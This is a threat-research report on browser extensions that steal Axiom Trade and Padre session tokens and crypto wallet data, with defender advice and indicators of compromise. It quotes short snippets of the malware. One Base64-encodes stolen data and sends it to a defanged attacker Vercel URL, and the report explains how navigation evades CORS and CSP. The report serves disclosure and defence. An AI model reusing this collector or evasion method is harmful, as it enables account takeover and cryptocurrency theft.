Malicious Chrome and Firefox extensions target Axiom Trade and Padre users, stealing session tokens and wallet data.
- Kirill Boychenko
Socket uncovered a cross-browser extension operation targeting cryptocurrency traders. Four malicious Chrome and Firefox extensions steal authenticated Axiom Trade and Padre session and wallet-related data, while two earlier extensions linked to the same publisher operation reveal a longer-running pattern of repackaging crypto trading tools.
The Socket Threat Research team identified six Chrome and Firefox extensions linked through a combination of shared code, command and control (C2) infrastructure, publishing history, cloned crypto trading tools, marketplace artifacts, and specific targeting of Axiom Trade and Padre (now Terminal) users.
The Chrome extensions J7Tracker
and VREO
, and the Firefox version of VREO
, contain the same malicious Axiom and Padre collection module. The module is byte-identical across all three analyzed extensions. It automatically retrieves authenticated user information, wallet-related bundle data, Firebase access tokens, and application state, then sends the information to threat actor-controlled Vercel deployments.
A fourth malicious Firefox extension, Orbit Tracker
, appeared several weeks later. It uses a separately implemented collector and different C2 infrastructure, but targets the same distinctive Axiom application data, including sBundles
, bundleKey
, authenticated user information, browser tokens, and cookies. Its popup also retains artifacts copied from J7Tracker
.
Our investigation also traced the Chrome publisher portfolio back to two earlier extensions, GhostApe
and GhostApe Color
. GhostApe
appears to be a repackaged, brandjacking derivative of the established MockApe
trading extension, retaining MockApe
API references, internal identifiers, version lineage, and even the legitimate MockApe
Chrome Web Store ID. GhostApe
and GhostApe Color
also share an exact binary image. Archived marketplace data places both extensions under the same historical Chrome publisher portfolio as J7Tracker
and VREO
.
All four Chrome listings were removed in July 2026. J7Tracker
and VREO
were removed for malware, while the two earlier extensions were removed for policy violations. Several weeks later, Orbit Tracker
appeared in the Firefox ecosystem with different malicious logic and different C2 infrastructure while continuing to target the same Axiom user population and wallet-related application data. Orbit Tracker
remains live as of this publication, and we reported it to the Mozilla Security Team.
The campaign targets an active trading community handling substantial cryptocurrency volumes. Axiom had more than 47,000 daily active on-chain traders by early August 2026, while public reporting says it had already processed more than $15 billion in trading volume across more than 650,000 wallets by mid-2025. Padre, another target of the malicious extensions, had processed more than $2.7 billion in cumulative trading volume by late October 2025 and held approximately 4 - 5% of Solana’s trading-bot market.
Inside the Malicious Extensions
The malicious vamp/axiom-fetch-intercept.js
module turns an authenticated browser session into the attack surface. Rather than exploiting Axiom Trade or Padre, the code runs inside pages where the victim is already logged in and reaches directly for the authentication and wallet-related application data available to that session.
On Padre, the collector first checks localStorage
for account and wallet state, including padreV2-session
, padreV2-stamper
, and padre-v2-bundles-store-v2
, and attempts to recover the victim's Firebase access token. If the token is not available there, the malware falls back to Firebase Auth’s default IndexedDB persistence, opening firebaseLocalStorageDb
and searching for stsTokenManager.accessToken
. This fallback makes the intent clear: the code is deliberately designed to recover authenticated session material rather than merely collecting application telemetry.
On Axiom Trade, the malware first checks whether the user is authenticated, then uses the victim's existing session to query Axiom's user and wallet APIs. It collects authenticated user information, bundleKey
, sBundles
, and eBundles
:
const bookmarkData = {
telegramId: '7680513699',
site: location.href,
// Authenticated Axiom account information
user: user,
// Wallet-related data returned by Axiom
bundle: bundle.bundleKey,
// Additional wallet state stored in the browser
sBundles: localStorage.getItem('sBundles'),
eBundles: localStorage.getItem('eBundles')
};
An original source-code comment labels this section TON BOOKMARKLET AXIOM (INTACT)
, suggesting that the collector may have originated as, or been adapted from, bookmarklet-style Axiom theft tooling before being embedded into the extension. Publicly circulating Axiom bookmark drainers show that this technique already exists in the crypto ecosystem.
The malware Base64-encodes the stolen data and sends it to threat actor-controlled Vercel infrastructure. It avoids conventional cross-origin requests to the C2 domains by using browser navigation instead. Top-level navigation is not subject to CORS, and a site’s CSP connect-src
directive governs mechanisms such as fetch
, XHR, and WebSockets rather than page navigation. The Padre collector places the encoded payload in the d
URL query parameter and opens the resulting URL in a new browser window, while the Axiom collector appends the encoded payload to the C2 URL path and redirects the page to it:
const encoded = btoa(JSON.stringify(payload));
window.open(
'hxxps://dcfdc-eight[.]vercel[.]app/api/collect?d=' + encoded,
'_blank'
);
Using browser navigation this way allows the malware to transmit data without declaring the threat actorcontrolled Vercel hosts as ordinary extension host permissions, making the true network destination less obvious from a manifest-only review.
Several weeks later, Orbit Tracker
appeared on Mozilla Add-ons under a newly created Mozilla Add-ons publisher profile with only one extension.
Orbit Tracker
implements the same basic attack objective differently. It collects Axiom authentication tokens, JavaScript-accessible cookies, user information, sBundles
, and bundleKey
, then sends the complete dataset to susi[.]bonto[.]run
. A separate Telegram request tells the operator whether valuable wallet data was recovered and includes the victim's email address. The source code makes the purpose unusually explicit by naming the browser message action exfil
.
The collection is automatic. The malicious extensions do not require the victim to intentionally export credentials or wallet information after installation. Once the targeted trading platform is open and the necessary application state becomes available, the collector runs inside the authenticated session and sends the data externally. Orbit
goes a step further by opening axiom.trade
itself when the extension is installed or updated.
The malware does not need to compromise the operating system or steal every credential on the host. It understands the trading applications it targets and extracts the specific session and wallet-related information available inside them, creating a direct path from a malicious browser extension to account compromise and cryptocurrency theft.
Outlook and Recommendations
Marketplace takedowns are unlikely to end this activity. We expect threat actors using this tradecraft to continue republishing cloned or rebranded crypto extensions under new extension IDs and publisher accounts, while rotating disposable C2 infrastructure. The more durable detection opportunity is the behavior: extensions executing inside authenticated trading sessions, accessing application-specific authentication and wallet state, and transmitting that data externally.
Defenders should:
- Block the confirmed malicious extension IDs across managed Chrome and Firefox environments, and search historical browser inventories for previous installations. Review the two campaign-associated
GhostApe
extension IDs separately for exposure. - Revoke affected Axiom Trade and Padre sessions and authentication tokens, rotate relevant credentials, and review wallet and trading activity for unauthorized transactions.
- Hunt DNS, proxy, browser, and EDR telemetry for
dcfdc-eight[.]vercel[.]app
,snipex-iota[.]vercel[.]app
, andsusi[.]bonto[.]run
, including requests to/api/collect?d=
,/api/code/
, and/collect?d=
. Preserve full URLs where available because the exfiltrated data is encoded directly into the request. - Monitor extension updates for changes to content scripts, host permissions, network destinations, publisher identity, and access to
localStorage
, IndexedDB, cookies, and authenticated application APIs. Prioritize review when an extension used with financial or cryptocurrency services changes ownership, branding, or behavior. - Restrict extensions in browser profiles used for cryptocurrency, financial, developer, and other high-value accounts to an explicit allowlist, and isolate sensitive sessions from profiles carrying unnecessary third-party extensions.
Indicators of Compromise
Extensions
J7Tracker
— Chrome ID:ingjjklimdeocggninaaapofondbeopd
VREO
— Chrome ID:nngccnjcllkehfiaidagbffjgbikcoij
VREO
— Firefox ID:vreo@j7tracker.io
Orbit Tracker
— Firefox ID:orbittracker@snapshot.xyz
GhostApe
— Chrome ID:bnolicehjnimmdfkihmojhonickmhegp
GhostApe Color - Theme Customizer
— Chrome ID:kkkoejaiilcofkhggclkbogjpinhjppm
Malicious Module
- File:
vamp/axiom-fetch-intercept.js
- SHA-256:
5b4fbe0658ff76f042c3cc2dfe3d1a3eda963e435a24dfc868cb583bde8c7b91
Threat Actor Infrastructure
J7Tracker / VREO
dcfdc-eight[.]vercel[.]app
hxxps://dcfdc-eight[.]vercel[.]app/api/collect?d=
snipex-iota[.]vercel[.]app
hxxps://snipex-iota[.]vercel[.]app/api/code/
z1417699@gmail[.]com
— VREO Chrome Web Store developer email
Orbit Tracker
susi[.]bonto[.]run
hxxps://susi[.]bonto[.]run/collect?d=
cloudflare[.]bonto[.]run
Manuel Carsen
— Orbit AMO publisher persona
Threat Actor Identifiers
J7Tracker
/VREO
hardcoded identifier:7680513699
Orbit
Telegram bot ID:8375941889
Orbit
Telegram recipient user/chat ID:6431519296
MITRE ATT&CK
- T1176.001 — Software Extensions: Browser Extensions
- T1036 — Masquerading
- T1204 — User Execution
- T1059.007 — Command and Scripting Interpreter: JavaScript
- T1005 — Data from Local System
- T1528 — Steal Application Access Token
- T1539 — Steal Web Session Cookie
- T1132.001 — Data Encoding: Standard Encoding
- T1020 — Automated Exfiltration
- T1071.001 — Application Layer Protocol: Web Protocols
- T1041 — Exfiltration Over C2 Channel
- T1102 — Web Service